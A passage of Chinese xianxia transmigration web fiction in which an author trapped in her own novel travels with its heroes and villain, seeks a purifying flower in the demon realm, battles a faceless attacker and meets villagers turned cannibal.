时刻注意岁忆谙的靳江浛听到这句话后,迅速抬眼,目光毫不掩饰地盯着她。
岁忆谙视若无睹。
靳江浛瞬间慌了,他是灭了南淮宫,莫非岁忆谙又一次撞见他杀人了吗?
紧接着,一道清风朗月的声音传来。
“绕
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月,这是你救下的?”
岁忆谙顺着声音来源看去,又一道身影从门外走进,她顿时惊愕,靳江浛出现在这儿也就算了,这里怎么还出现了第五人?!
“不,是靳道友救下的。”黎绕月在见到男子后,警惕的身子放松了些。
男子身着玄衣,身材壮硕,外表形象与他的声音完全不符,他与黎绕月并肩站定,看上去真是好一对璧人。
岁忆谙满腔疑惑,她脱口而出:“你谁啊?”
“我?”男子指了指自己,其余人都疑惑地看向岁忆谙。
岁忆谙慌忙地摆摆手,说:“不是,我的意思是我叫岁………”
她突然想到了那个谙字,即将说出口的话拐了个弯儿。
“岁江南,你们呢?”
江南…………不知怎的,这两个字瞬间让靳江浛的心情好了许多。
“在下凌仙宗白英空。”
“我叫黎绕月。”
男女主的名字对岁忆谙来说都不重要,最重要的是,这位原剧情里没有人是谁啊?
“我是裴汔,绕月的未婚夫。”裴汔的话虽是对岁忆谙说的,但他的眼神却一直看着黎绕月,眉眼含笑,眼中洋溢着满满的幸福。
“裴汔?!”岁忆谙大惊。
原剧情里的裴汔是雪蛇族族长的儿子,自幼与黎绕月青梅竹马,两人还定下了婚约,月蛇妖族被灭后,雪蛇妖族族长便单方面解除了两人的婚约,还逼迫裴汔娶其他蛇族的女子。
岁忆谙在书中对裴汔的描写极少,他怎么会在这个时间点出现在黎绕月身边?
裴汔对岁忆谙的反应起了疑心,他问:“岁姑娘认识我?”
“不认识。”岁忆谙迅速摇头,接着她顺势看向还未自我介绍的靳江浛,也不是非要靳江浛介绍,靳江浛要是不介绍的话,自己要是下意识喊出了他的名字怎么办。
靳江浛定定地看着岁忆谙,没有开口。
“江浛…………”白英空知晓自家师弟的性子,便用胳膊肘碰了他一下,示意他自我介绍。
见靳江浛依旧不开口,白英空主动说:“他是凌仙宗的靳江浛,我的师弟,不怎么爱说话,但人还是很好的。”
岁忆谙平淡地点点头,表示她知晓了,实则她脑中要炸了。
【零零零,裴汔怎么在这儿?!】
零零零颤颤巍巍道:【宿主大人,原剧情中的裴汔被族长逼婚之后,心中始终放不下黎绕月,在您来到书中世界的那一个瞬间,裴汔受到影响,意识觉醒,面对逼婚宁死不从,最后动用禁术扭转时空来到了黎绕月的身边,帮助黎绕月对抗仙门。】
【真是个痴情种…………算了,爱咋滴咋滴吧,我只要跟在他们身后就行。】
“南淮宫被屠,凌仙宗上上下下都很伤心,道友若是想继续修炼便可以来我凌仙宗,凌仙宗定会收下你的。”
岁忆谙刚回神就听见白英空的话,她低着脑袋,小声说:“我……我想跟着你们,我能跟着你们吗?”
此话一出,黎绕月的脸色不太好看,这里已经有两个修仙弟子了,白英空单纯好骗,靳江浛看上去城府极深,再来一个,她与裴汔的身份怕是藏不了太久。
5. 恋人
“当然可以啦!”白英空十分激动,寻找鬼石的队伍再次壮大,这样应该能增大寻找到鬼石的概率吧。
白英空兴奋完后,便想到了靳江浛和另外两位,以自己对靳江浛的了解,他应该是不会发表任何意见的。
还没问过黎绕月他们的意见,自己便擅自做了决定,情绪冲昏了头,真是该死,看来往后得再稳重些了。
“那黎道友与裴道友呢?你们是否愿意让岁道友与我们同行?”
裴汔无所谓,他看向黎绕月,黎绕月微笑道:“自然愿意,这样一来就有人能陪我解闷了。”
虽然黎绕月笑得温柔,可岁忆谙总觉得她笑里藏刀。
白英空:“这一路上你就跟在我,遇到危险,你躲在我身后就行,我会保护你的。”
“那就多谢…………”岁忆谙话还未说完,森冷忧郁的声音传来。
“跟着我吧。”
靳江浛笑着挤在二人中间,直视岁忆谙的眼睛,眼神耐人寻味,说:“我来保护她。”
白英空不知晓今日他师弟怎会如此积极,他询问岁忆谙的态度。
“你想跟着他吗?”
岁忆谙当然不想,不过她还是得装一下,她弱弱地抬眼,打量着靳江浛,在极具威胁性的目光下,她躲到白英空身后。
靳江浛的表情一下子变得僵硬起来,他垂下眼眸,掩住眼底的不悦,在岁忆谙欲开口前,抢先一步握住她的胳膊,将她拉到自己身边。
“我保护她。”落下一句话后,就拉着岁忆谙走出屋子。
白英空无奈,抬脚跟了上去。
而黎绕月与裴汔能看出不同,岁忆谙好似和靳江浛认识,他们只需对视一眼便能懂得对方的想法,看来得多留意留意这两人了。
岁忆谙被拉出屋子后,便不耐烦地挣脱开靳江浛的手,并且与他拉开了些距离。
“你受伤了?”靳江浛看见了岁忆谙被划烂的衣袖,心中担忧。
“没事。”
靳江浛不放心,他靠近一步想要查看,岁忆谙往后退,主要是任务失败,差点死亡这仇她还记着。
到后面,靳江浛从走歪线变成走直线。
一行五人走在村道上,之前围攻岁忆谙的怪物被岁岁驱散,此时此刻,怪物们不知为何都躲了起来。
岁忆谙有意控制着自己的步速,她走得慢,一直到与黎绕月并排,她率先打破沉默的气氛,一脸求知欲,问:“黎道友与裴道友是哪个门派的呀?”
“青山宗。”黎绕月语气缓慢,仔细听,还能听出些许悲伤。
青山宗不就是靳江浛抓的那四个人的宗门吗?
岁忆谙停下脚步,看着黎绕月与裴汔一路十指紧扣的手,在脑中问:【零零零,黎绕月与裴汔怎么如此亲密了?剧情崩成了什么样子?】
零零零将这些年发生的事一一诉说。
当年,由于岁忆谙制止了鬼石上的魔力泄露,仙门和月蛇妖族都未被魔力控制,仙门弟子逃离,族长带着剩下的族人收拾战场,继续安定在了月蛇洲。
鬼石丢失,族长心急如焚,黎绕月主动请缨外出寻找鬼石,她外出不单单只是寻找鬼石,还有另一个目的,就是报仇。
此间,裴汔一直守护在她身边,她与裴汔的关系不再是儿时玩伴,而是动心的爱人,可她还不想那么早成婚,她还有使命没有完成。
黎绕月数过了,大战死了三千四百九十一位族人,她要杀死同样数额的修仙弟子来为族人报仇,现在还差十五个。
等她报完仇,找到鬼石后,就与裴汔回家成婚。
就在几日前,黎绕月与裴汔看见了寻找鬼石的白英空两人,黎绕月本想杀了他们,却发现白英空身上有能追踪鬼石的法器,在此之前,她可从未听说过仙门出了一件追踪法器。
黎绕月想着抢了这法器,虽不知这法器有没有用,但总比像无头苍蝇一样乱撞好。
黎绕月近不了身,于是和裴汔决定掩盖身上的妖气,假扮修仙弟子与白英空一同寻找鬼石。
说完一切,零零零松了口气,它有一个十分重要的剧情点没说,希望宿主大人不要追问。
岁忆谙又问:【零零零,靳江浛怎么混在主角身边了?】
零零零又吊着一口气,它惊讶出声:【宿主大人认出他了?】
【这还需要认吗?他脸上就写着,我是靳江浛五个大字了。】
零零零仔细看了眼靳江浛的脸,脸上干干净净的,什么字都没有,宿主大人会不会看错了,它不再关注靳江浛,向岁忆谙回道:【靳江浛想屠了凌仙宗,但他无聊,便跟着男主下山了。】
这话也是骗岁忆谙的,零零零发现自己真是越来越会骗人了。
零零零表面上是岁忆谙的系统,实际上它早就叛变了。
在原剧情里,靳江浛的戏份少之又少,顶多就用几句话来展示他的出场。
凌波门被魔族屠了!
万山派被魔族屠了!
岳锦宗被魔族屠了!
取靳江浛这一个名字算是岁忆谙唯一用心的事了。
岁忆谙冷不丁地问:【靳江浛是皇族吗?】
零零零突然结巴:【不……不是呀。】
【那你给靳江浛加什么戏份?他不是皇族,谁是皇族?人家裴汔想要见黎绕月好歹是意识觉醒,靳江浛又是怎么来的?他也意识觉醒了?】
岁忆谙说这一大段话也只是为了诈一诈零零零,靳江浛肯定有问题,而零零零也有事瞒着她。
现如今,岁忆谙才不相信零零零的话,在它为了靳江浛能将自己送回一百年后开始。
这话说得零零零脑中程序都变成了乱码,好半晌它才理清楚思路,它回:【靳江浛这次没有觉醒,他………他是反派,抵抗这个世界的力量较大,所以我…………主系统得让他过得舒心些,没错,就是这样哈哈…………】
零零零又尬笑,语言逻辑丝毫不通,岁忆谙在脑中一直重复着这段话,企图找出不对劲的地方。
靳江浛是她一开始的任务目标,而百年后的任务竟然换了,还是要做这种毫无任何难度的任务,任务为何会被改变?
这肯
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定跟靳江浛有关。
四乃是春季,本该绿意盎然,处处充满生机,可洛河村冷风阵阵,花草枯萎,乌鸦的叫声撕裂而凄惨,似乎是在阻止四人的步伐。
白英空四处看了看,说:“村里的每一寸土地都受到了魔族鲜血的侵染,村民的身体也发生了异变,想要彻底解决怕是有些困难。”
洛河村原本只是一座普通的村子,就在魔族被灭后,魔族的血液侵染了离魔境最近的洛河村,谷物蔬菜一种必死,家禽牲畜照样活不下来,村民逐渐变得嗜血,久而久之他们开始蚕食同类。
靳江浛毫不犹豫道:“这个还不简单,把村民全部杀死不就好了。”
黎绕月也没想到靳江浛比她还残暴,她十分赞同这个想法,可她深知白英空并不会这么做。
气氛再一次变得尴尬起来,岁忆谙扶额苦笑,说的做人大道理靳江浛怕是全忘了,不对,他压根就没听进去。
白英空同样无奈,他开口:“师弟,他们虽食人,但也是人,不到万不得已,不可滥杀。”
白英空作为凌仙宗大弟子,可谓是非常地有责任心,这一路上,黎绕月也有意无意得问起靳江浛的情况。
靳江浛是前年才进凌仙宗的,他性子古怪,令人捉摸不透,听不得什么大道理,以至于每次文化考核都是倒一,偏偏其他考核都是榜首,不然也不会加入下山寻找鬼石的队伍。
以往的修仙弟子需要德才出众,可现如今修仙门派日益减少,只要是个人就能进宗门修炼了。
靳江浛听得脸色更加阴沉,他最讨厌嘴上功夫那一套,看不爽直接一剑刺死不就好了,费那么多口舌作甚?
白英空说完,还追问他:“师弟,你听到没有?”
“听到了————”三个字的调子被靳江浛拖得老长,要不是为了见到岁忆谙,靳江浛早就将白英空的嘴给缝起来了。
罢了,为了岁忆谙,他还得再忍忍,那个自称系统的起码没骗自己,它还真让自己见到了岁忆谙。
“想要让洛河村恢复正常,就需要耗费大量灵力,我们几人耗尽灵力也不够。”白英空满脸忧愁,这次他并未询问其余人的意见,因为在他的潜意识里,修仙弟子就必须管这件事,就必须让村民恢复正常。
裴汔只能陪同:“我记得魔书里有记载,魔境有一株双色花,双色花可以净化一切,我们可以用那个。”要不是为了鬼石,他才不会提出这个法子。
白英空听后,惊诧道:“裴道友,你竟然偷看禁书!”
此话令靳江浛不爽,但他碍于岁忆谙在场,也并未开口说些什么。
裴汔的确在看有关魔族的书,因为鬼石是魔族的,他双手环胸,戏谑地瞥了白青空一眼,说:“什么禁书,不过是写了一些魔族遗闻轶事而已,一本杂书就吓得你们把它称为禁书了,那要是记载了魔族术法的书怎么办?你们岂不得把它挫骨扬灰了?”
白英空面露尴尬,岁忆谙倒是听出了裴汔话里的嘲讽,这也不能忍,虽然白英空不会将这次嘲讽放在心上,但她怎么能允许自己笔下的男主被嘲讽呢?
6. 无理取闹
“裴道友这话说得对,也不太对,这魔族生性残暴,我们不知晓魔族留下来的书对世人是否有坏处,可仙门有仙门的规矩,禁书看不得就是看不得,难道青山宗门规里没提过吗?”
两人心慌一瞬,他们又不是青山宗的,怎知青山宗门规?
黎绕月出来打马虎眼:“当年青山宗被灭,我与裴汔上山寻遍了整个青山宗,除了藏书阁的书外,其他的……都没了,看这些书也是为了了解魔族鬼石而已。”
岁忆谙若有所思地点点头:“原来是这样。”
生怕岁忆谙追问,黎绕月连忙转移话题:“魔族覆灭早已过了百年,魔境肯定是一片荒芜,还能找到吗?”
“只能去试试了。”
白英空这才想起杵在一边的两人。
“师弟,岁道友,你们认为如何?”
岁忆谙自然是点头答应:“我都行。”
靳江浛回神,“都可。”
他刚刚听见了岁忆谙说魔族生性残暴,难道她也是这么认为自己吗?
见两人没有异议,白英空道:“好,那我们就去魔境看看。”
白英空是剑修,可以御剑飞行,靳江浛是魔,黎绕月与裴汔是妖,他们不用借助任何法器即可飞升上空,甚至可以瞬移到魔界,不过在白英空面前,他们都默契地用了各自的法器。
靳江浛是岁岁,黎绕月的法器是一支蛇骨笛,这支蛇骨笛是她体内的一根骨头制作而成,与她是一体的,裴汔是子午鸳鸯钺,他们都可运灵控物。
而岁忆谙只会符,她能运用飞行符,可她的灵力不够支撑她抵达魔境。
白英空看着双手空荡的岁忆谙,问:“岁道友,你可有法器能载你飞往魔境?”
岁忆谙沉思着。
靳江浛知晓岁忆谙有几斤几两的能力,他还想着自己能与岁忆谙共乘一把剑,他看着正在翻布袋子的岁忆谙,心念一动,抬脚走到她身边。
“去不了魔境了?”
“要不要我载你?”
靳江浛语气顽劣,那双漆黑的眼眸中充满诱惑,还有淡淡的红光闪过。
岁忆谙失神了一秒,随即发现靳江浛又对自己用了惑术,她忍住揍一顿靳江浛的冲动,给了他一个白眼,对其余三人说:“我有个法子能更快地抵达魔境,稍等一下。”
不就是去魔境嘛,这还不简单。
岁忆谙从布袋子里掏出黄纸和朱砂笔,开始画符,没一会儿,五张穿梭符就画好了。
而靳江浛见岁忆谙对自己的惑术无效,便更加确定了她就是自己一直在等的岁忆谙。
“穿梭符,将灵力注入符箓,并且在心中默念自己想要去的地方就好了,只能用一次。”
白英空诧异道:“岁道友是符修?”
“算是吧。”岁忆谙开始发符纸。
靳江浛见岁忆谙在分发符纸,装作毫不在意的模样,但眼神总是不自觉地往她那儿瞟,想着轮到他时,他就勉为其难给岁忆谙道声谢吧。
岁忆谙给了黎绕月一张,给了白英空一张,给了裴汔一张,还剩两张,她自己一张,剩下的一张她才不想让靳江浛轻轻松松地得到。
靳江浛见自己没有,便朝岁忆谙伸出手,问:“我的呢?”
“你?你不是有剑吗?”
岁忆谙斜了他一眼,靳江浛是魔,不用符纸都能瞬移的事她可知晓。
靳江浛一听,心中郁闷,全身上下都透露着不爽的气息。
黎绕月没有想到岁忆谙会给自己符纸,她看向岁忆谙的眼神是复杂的。
“多谢岁道友的符,画符需要耗费大量精力,岁道友肯定很累,画不出符了。”白英空不知晓岁忆谙画了几张,他的后半句话是对靳江浛讲的,但靳江浛就是不听。
靳江浛走到岁忆谙面前,道:“我要穿梭符。”
理直气壮的语气令岁忆谙很是不爽,她开口就想骂人,却被黎绕月拉住。
黎绕月出来扮演心地善良的人了,她将自己的穿梭符递给靳江浛,轻声说:“靳道友,穿梭符是江南画的,她现在没精力再画一张了,这样吧,我把我的给你。”
江南?
靳江浛看都没看她一眼,讽刺道:“你出来装什么好人,你不要的,我又怎会要?还有你和她很熟吗?还江南…………”
黎绕月嘴角抽了抽,这还不是为了在白英空面前展现一个好人的形象,喊江南也只是为了和她拉近关系,这靳江浛怎么跟炸药似的?
不过黎绕月还是装得浑身一僵,脸色一下子变得难看至极。
裴汔一听,心中气愤不已,正想上前理论,却被黎绕月拉住,眼神示意他看戏,裴汔只得乖乖站定。
听见靳江浛嘴自己的女主,岁忆谙的怒火再也忍不住了,她将黎绕月拉到身后,吼道:“靳江浛,你无理取闹!”
靳江浛听岁忆谙这么说自己,瞪大双眼,整个人愣在原地,她不可置信。
“我就不给你符纸怎么着,我凭什么给你符纸,你要是不想跟我们去魔境,你就在这儿呆一辈子吧!”
画符的是岁忆谙,她想给谁就给谁,更何况靳江浛的态度令她很不爽,真以为谁都会惯着他是吧,还敢说黎绕月装好人。
虽然她知晓黎绕月的性子,她现在的举动有可能是装的,但那又怎样?!只是装个好人而已?靳江浛凭什么这么说她!他自己连好人都不装。
靳江浛的脾气也跟着爆了,他反驳道:“什么叫跟着你们,你才是外人!”
两个人的争吵惊呆了三人,零零零与岁岁也跟着懵了。
“我是外人又如何?你有把白英空当你师兄吗?”
“你可有唤过他一句师兄?”岁忆谙十分笃定,她太了解靳江浛了,不仅仅因为他是自己笔下诞生的,更是因为自己与他在村里相处了将近一年。
靳江浛答不上来,他当然没有,他压根就看不起白英空,仗着白英空大事化小,小事化了的性子,他表面功夫都不愿做。
岁忆谙乘胜追击:“既然没有,又何来内人外人一说!”
零零零眼看情况不对,出来劝架:【宿主大人,要不您退一步吧,靳江浛都被您说得哑口无言了。】
【我凭什么退!这里有你什么事?滚一边去!】岁忆谙见零零零出来替靳江浛说话,心中怒火更盛。
零零零瞬间安静,它在心中偷偷哭泣,宿主大人也太不好惹了吧!
争吵总得结束,见
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靳江浛不说话,岁忆谙又道:“我与白兄,绕月还有裴兄志同道合,很快就会是一家人,我们是去找鬼石的,你是吗?”
为了气靳江浛,岁忆谙还特意改了她对三人的称呼。
鬼石上的魔力被靳江浛吸收,而石头就是他手中的岁岁,这世上除了他自己,就只有岁忆谙知晓此事了,她为何这么问?是在威胁自己吗?
靳江浛脑子飞快转动。
而心思细腻的黎绕月听了这句话后,又多留了一个心眼儿,看这样子,岁姑娘似乎清楚靳江浛的此番下山的目的。
靳江浛不是来寻找鬼石的?
两人对视,岁忆谙气势逼人,靳江浛彻底泄了气,嘴硬道:“当然去,我凭什么不去!”
岁忆谙不管他了,拉着黎绕月走到一旁,开始教她穿梭符的咒语。
白英空虽从未听过靳浛喊他师兄,但也改变不了靳浛是他师弟的事实,不过他也很感激岁忆谙为他说话。
“师弟,你很不对劲啊。”
温润的声音传来,白英空笑着来到靳江浛身边。
“哪儿不对劲?”
“你总是淡淡的,对任何事,任何人都提不起兴趣,我从未见你如此生气过。”
靳江浛沉默,他并不是真的想要穿梭符,他只想证明自己在岁忆谙心中的地位,现在看来……………
明明只相处了一年,他为何会如此在意岁忆谙呢?不仅寻了岁忆谙百年,还答应了系统束缚自我的条件,真是可笑。
“难不成你对江南一见钟情了?”
白英空的话让靳江浛下意识反驳:“什么一见钟情,你可别胡说。”
他与岁忆谙又不是第一次见面。
“还有,你和她很熟吗?”
“好好好,是我胡言乱语,我不叫江南了,既然她唤我白兄,那我也不能一直唤她道友,道友总是生疏的,我唤她岁姑娘可好?”
“随便你。”靳江浛拉着脸离开,只留下白英空在原地哈哈大笑。
而岁忆谙这边,黎绕月静静地看着教自己咒语的岁忆谙,情绪复杂,岁忆谙竟然会为了自己与靳浛大吵一架,明明她们才相识不到一日不是吗?
三人默契得当这场争吵从未发生过,岁忆谙则随便他们怎么想,靳江浛却抑郁了。
魔境————
杂草丛生,遍地白骨,干涸崩裂的土地泛着淡红色,空气中有一股淡淡的腥味,可见得百年前经历过怎样的一场大战。
岁忆谙不自觉地将视线转向了靳江浛,想看看他状态如何,怎料靳江浛也在看她,漆黑深邃的眸中还带着一丝委屈,她只感到莫名其妙,不动声色地收回视线。
白英空问:“魔境这么大,去哪里找双色花?”
“古书上记载着双色花只长在圣洁之地,魔境最圣洁之地会在哪儿呢?”百年过去,关于魔族的书籍早就不剩几本了,裴汔也不知晓在何处。
原剧情中,白英空与黎绕月到了洛河村后,与那些怪物打了一架,打完架后,两人说明来意,之后就有一个怪物出来说双色花能救他们,还说了双色花的具体位置,他们这才顺利寻到了花。
她该说出什么话,才能不引起几人的怀疑呢?
7. 夺花
脑中灵光一闪,岁忆谙想到办法了,她问:【零零零,你能不能让双色花发光啊?】
几秒后,零零零回:【任务完成!】
岁忆谙见到那座高山上冒着白光,她激动地指向那处,道:“你们快看,山顶上发着光,会不会是在那里?”
“极有可能。”白英空毫不犹豫地就相信了岁忆谙的话。
“我与师弟去察看一番,你们便留在此处吧。”
黎绕月应声:“好,万事小心。”
靳江浛虽不是很想陪他去,但也还是去了。
岁忆谙记得主角取花的过程很顺利,应该不会发生什么大事。
半个时辰不到,两人就回来了,白英空满面春风,他手中正拿着一朵半白半红的花,半纯洁半妖艳。
还未说些什么,一阵古怪的狂风袭来,卷起枯枝残骸,众人抬臂遮面,顷刻间,风便停了下来,而白英空手中的双色花竟消失不见!
“花呢?”黎绕月惊呼。
“你们是在说这个吗?”
不分雌雄的声音响起,是一个身着黑袍,看不清面容的人,而双色花就在他的手中。
岁忆谙懵了,她剧情里没有这一段,这是从哪儿冒出来的夺花者?
众人戒备,白英空上前一步,拱手道:“在下凌仙宗白英空,敢问阁下是?”
黑袍男子不予理会,他将双色花插在身后的石缝中,道:“想要的到这朵花,就只能越过我的尸体。”
气氛诡谲,黑袍男子飞身袭来,白英空不理解黑袍男子这么做的目的,但也只能拔剑迎战。
两人纠缠在一起,黑袍男子赤手空拳,丝毫不畏惧白英空手中的利剑。
剑光掠影之间,岁忆谙看清了男子的脸,他的脸没有五官,也不是单单的一张皮,而像一团模糊的雾,看着让人心惊胆颤。
白英空的剑术是凌仙宗数一数二的,他向黑袍男子刺了好几剑,但都被黑袍男子用一股不知名的力量挡了下来。
黎绕月看出白英空落了下风,她伸手化出骨笛,放在嘴边吹了起来,而裴汔也拿出子午鸳鸯钺上前帮忙。
岁忆谙这才看见了骨笛的样子,看长度以及头尾关节处来看,黎绕月用的是她的一根尺骨。
骨笛的设定比较复杂,岁忆谙为了写这个设定,还把人体的每一根骨头都认全了,现在想来,好像没有什么用处。
黎绕月体内的每一根骨头都可化作长笛,而不同骨头所化的笛子,它们被吹出来的效果都不同。
譬如黎绕月手中拿着的这尺骨,就是能延缓一切事物的速度,除了时间。
空灵的旋律朝周围扩散,空气中的灰尘被定格,可黑袍人的动作依旧很快,这笛声好像并没有用,黎绕月也发现了这一点,她虽然有些诧异,但也迅速地放弃了以笛声作为攻击。
“靳道友,护好岁姑娘。”
话落,黎绕月以笛为剑,飞身上前。
在几人看不到的角落里,靳江浛面露嘲意,不用黎绕月说,他也会保护岁忆谙的。
四人混战,灵力四散。
岁忆谙清楚自己的实力,她躲在岩石后面,看得提心吊胆,不过仔细观察,那黑袍男子的招式倒有些戏耍的意味,招招不致命,却招招都令三人身上挂了彩。
岁忆谙感觉黑袍男子既不想要花,又不想杀人。
“你很担心他们?”
靳江浛怨怨出声,把看得正入迷的岁忆谙吓了一跳。
岁忆谙见靳江浛一副事不关己的模样,说:“你怎么不去帮忙?”
靳江浛特意搬出黎绕月的话来,他说:“我要保护你。”
岁忆谙清楚靳江浛可不是一个听话的主,他只是单纯地不想上前帮忙而已,心里怕是还怨着呐,她无奈道:“我不需要保护,你快去!”
在岁忆谙的催促下,靳江浛只能乖乖听话,他拔剑上前。
岁忆谙以为有了靳江浛这个大反派的帮忙,战斗很快就会结束,结果靳江浛上去挽两个剑花就退下来了。
“你怎么回来了?”
靳江浛捂着胸口,看样子像是受了严重内伤,他气喘吁吁:“我打不过。”
岁忆谙忍不住口吐芬芳,她要是相信靳江浛的话,她即刻自戕!
这个大反派独自一人灭了诸多宗门,怎么可能打不过黑袍男子,就算黑袍男子的实力比他还强,那靳江浛也不可能挨了几下就败下阵来。
不对,她刚才盯得仔细,黑袍男子压根就没对靳江浛出手,连他一寸的衣角都没碰到,他怎么可能受此重伤。
岁忆谙看着喘着粗气的靳江浛,心生疑虑。
远处的三人还在苦苦支撑,魔境内毫无灵力,他们只能用自身识海内的灵力,可识海内的灵力有限,他们坚持不了多久。
黑袍男子不似妖魔,不似仙鬼,更不似人。
岁忆谙不知晓他的五行,看来她得多费些精力了,她执笔画符,连着画了五张,手都止不住发颤,额上冷汗直流。
靳江浛见到这一幕,心中极其复杂,他们对岁忆谙来说真的那么重要吗?
岁忆谙拿着符箓从岩石后冲出,食指与中指之间夹着五张符箓,她将五张符箓挥向空中,双手掐诀。
“阴阳五行,相生相克。”
符箓冒着金光环绕在岁忆谙周身,话落,符箓齐刷刷飞向黑袍男子,一张接着一张,直到四张符箓飘然落地,仅剩一张起了作用,岁忆谙定睛一看,是土山符。
“土山————起!”
岁忆谙念咒,霎时,黑袍男子脚下的土地瓦解,一块块土片顺着他的脚开始向上攀附,从脚踝蔓延到膝盖,直至整个下半身,他努力挣脱。
眨眼之间,黑袍男子被土块包裹,但他依旧可以动弹,只是动作变得僵硬了些,黎绕月一笛子绊倒黑袍男子的脚,男子跌倒在地,其余两人补刀。
四人配合得十分默契,站在后面的靳江浛才意识到,这一刻的他仿佛才是那个外人。
罢了…………这次先放他们一马吧。
靳江浛漆黑的眸子更加深沉,捂着胸口的手缓缓蜷缩了起来。
在众人的目光中,地上的黑袍男子化成一根枯骨。
在刚才的战斗中,黑袍男子对黎绕月与白英空下手最重,但他对黎绕月的攻击都被裴汔挡下了。
可白英空就没那么好受了,他白色衣衫被鲜血染红,见危机已去,他浑身卸
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了力气,倒地昏迷。
黎绕月与裴汔互相搀扶,白英空则孤零零地倒在地上。
没人扶他,好可怜。
岁忆谙秉持着人道主义来到白英空身边,她也不懂医术,看不出伤势,只知晓他不会死。
“绕月,白兄昏了,怎么办?”岁忆谙下意识求助黎绕月。
黎绕月松开裴汔,她蹲下身,将指尖搭在白英空的脉搏上,片刻后,紧绷的神情稍稍松了些,拿出了一颗补血丹喂给他,道:“无事,他还死不了。”
“靳道友,你伤得不重吧。”她还顺带关心了走过来的靳江浛。
“咳咳………无事。”
岁忆谙侧回头看他,靳江浛依旧在捂着胸口,仅仅只过了一小会儿,他的脸色惨白如纸,甚至比白英空还要白上几分,真不知是真是假。
补血丹起了作用,白英空很快就醒了过来,他一动弹,浑身疼痛,身上没几处好肉。
白英空醒来还不忘其他人的安危,他问:“你们都没事吧?”
见他们摇头,白英空松了口气:“那就好………………”
黎绕月看向了那根骨头,运转妖力将它吸过来。
这根骨头是人的肱骨,黎绕月的指尖环绕妖力,拂过肱骨,她细细感受着,接着说:“此人竟是枯骨所化,也许是这根骨头上遗留了些许魔力,这才得以化形。”
真的是这样吗?岁忆谙倒不这么觉得。
魔境内毫无灵力,白英空只能靠吃丹药来恢复身体,接连吃空了好几瓶,岁忆谙都担心吃多了会产生副作用,事实是丹药的效果还不错。
事不宜迟,这次,岁忆谙又画了五张符,大发慈悲给了靳江浛其中一张,分完后还剩一张,是留给自己逃跑用的。
其余人都用穿梭符离开后,岁忆谙环视了一圈魔境,一片凄凉,她看向还未离去的靳江浛。
靳江浛眉眼低垂,脸色依旧苍白,神情萎靡。
他好像真的很痛。
岁忆谙压下心头思绪,用穿梭符离开,而靳江浛朝她消失的原地痴痴地望了一会儿后,将她给的那张符放在怀中,运转魔力离开魔境。
一到洛河村,岁忆谙就凑到他身边,小声问他:“靳江浛,你身体真的不舒服?”
对上岁忆谙的眼睛,靳江浛看出她眼里没有关心,没有担忧,只有疑惑,但他的心脏还是莫名地漏跳了一拍。
靳江浛扬眉,语气挑逗:“关心我?”
岁忆谙认真回答:“没有啊,只是疑惑你的脸色为何如此苍白而已。”
靳江浛哑口无言,沉下脸不再理她。
见他不回答,岁忆谙只好去问别人。
【零零零,靳江浛到底受没受伤?我没见黑袍男子有打到他。】
零零零慌了,犹豫半天才开口:【靳江浛确实没被黑袍男子打到,但他也确实是因为黑袍男子才受伤的。】
【你这话说了跟没说一样…………】
靳江浛没被打,却受了伤,黎绕月说,黑袍男子是枯骨上残留的魔力所化,魔力………靳江浛…………
莫非这黑袍男子是靳江浛用魔力幻化出来的?那靳江浛这么做的用意又是什么?又是报复吗?
8. 所谓仙人
就在岁忆谙思索之际,前方有一女子疯疯癫癫地从屋子里跑出来,岁忆谙认出她了,她是刚才与自己同在屋子里的那位。
女子不停呕吐,接着用头撞墙,额头上满是鲜血。
咚!咚!咚!
画面诡异,五人上前阻止,经过询问得知,女子并非洛河村村民,她是被村民捉到这里,在看见他们食人之后成了疯子,就在刚才莫名地恢复正常。
女子趁几人不注意,猛地朝墙面奔去,砰的一声,身躯跌落在地,人彻底没了呼吸。
“这是为何?”岁忆谙记得她没写过这段,想来是发展了新的剧情,但她不太理解女子这么做的目的。
靳江浛冷冷地斜了尸体一眼,道:“兴许是接受不了自己吃人吧。”
岁忆谙听后思绪万千,她没写出来的剧情里,有人失去了一条命。
黎绕月从储物袋里拿了一件披风,她将女子的尸体盖住,举动充满了悲悯。
白英空眼中是无尽的愧疚,那女子竟然死在了他的面前,他还救不回来,他喃喃自语:“只要释放双色花里所蕴含的灵力,村子就能变回正常的模样了。”
说着,白英空迫不及待地拿出双色花,双色花刚出现,一道黑影朝双色花奔来,他迅速躲开,接着周围落下数道黑影。
那些怪物又出现了,五人背靠背围成一个圈,被包围的五人神情紧张,手都搭在自己的武器上,随时准备迎战。
从黑群中走出一个个子极矮的怪物,等他站在前头,四人才看清他的模样,他是人,可他的身子几乎对折,唯有脑袋正着前方。
四周的怪物都是四肢着地,唯有他在用双脚走路。
老村民环视四人,只在靳江浛的身上多停留了一秒,他开口,声音缓慢又苍老:“你们是修仙的?”
几人对视一眼,白英空刚要上前自报家门时,却被老村民打断。
“带着你们的破花走吧,别回来了。”
众人皆愣,白英空解释道:“这花是双色花,是可以帮你们恢复到正常的东西。”
“正常?你眼里的正常正在逼迫我们一步步走向死亡,我们维持这副身躯…………或许还能活得更久些。”老村民的双眼虽然浑浊,但还能从他眼里看出怒意,还有痛苦。
靳江浛知晓其中缘由,除了他,其他四人一头雾水,尤其是岁忆谙。
原剧情里,这些怪物虽然出现了,可他们却十分愿意变回正常人,现如今,他们怎么不愿意了?
到底是什么改变了他们?
最初发生偏离的剧情是…………靳江浛?意识觉醒的是他,他是书中人物,他在书中做的一切,都有可能改变剧情。
这就是蝴蝶效应吗?不…………还有她自己,她本就不是这个世界的人,当她进入书中世界后,一切也在改变,她的举动,话语,选择都会引发剧情变动。
她差点忘了,她是这个世界的书写者。
当她出现,这个世界的大部分角色就会意识觉醒。
此时,又有一道怒气冲冲的声音响起:“你们这些修仙的根本没考虑过我们的死活!”
岁忆谙不解,迫切想要知道这其中的缘故,她问:“你们这是什么意思?”
“百年前,魔族被灭,魔血流至洛河村,使村里寸草不生,田里颗粒无收,为了活着,我们用过许多法子,甚至跑死了几匹驴,去到仙门求助,却被你们赶了出来。”
众人能从他话里感受到滔天的恨意。
“田地救不回来,我们只能迁村,可身躯早已发生异变,开始嗜血。”
“我们又回到洛河村,并借助这副身躯的力量,杀人食肉。”
老村民一下子失了神,仿佛回到百年前,那时的村子是红色的,处处弥漫着令人作呕的臭味,而众仙门在洛河村村民眼里,也如同被啃咬的死尸一般腐烂生蛆。
“倘如不是你们杀了魔族,我们也不会变成这样。”
众人沉默,这时,哗啦啦的声音顿然响起,几人顺着声音的来源看去,是一具面目全非,血肉模糊的尸体。
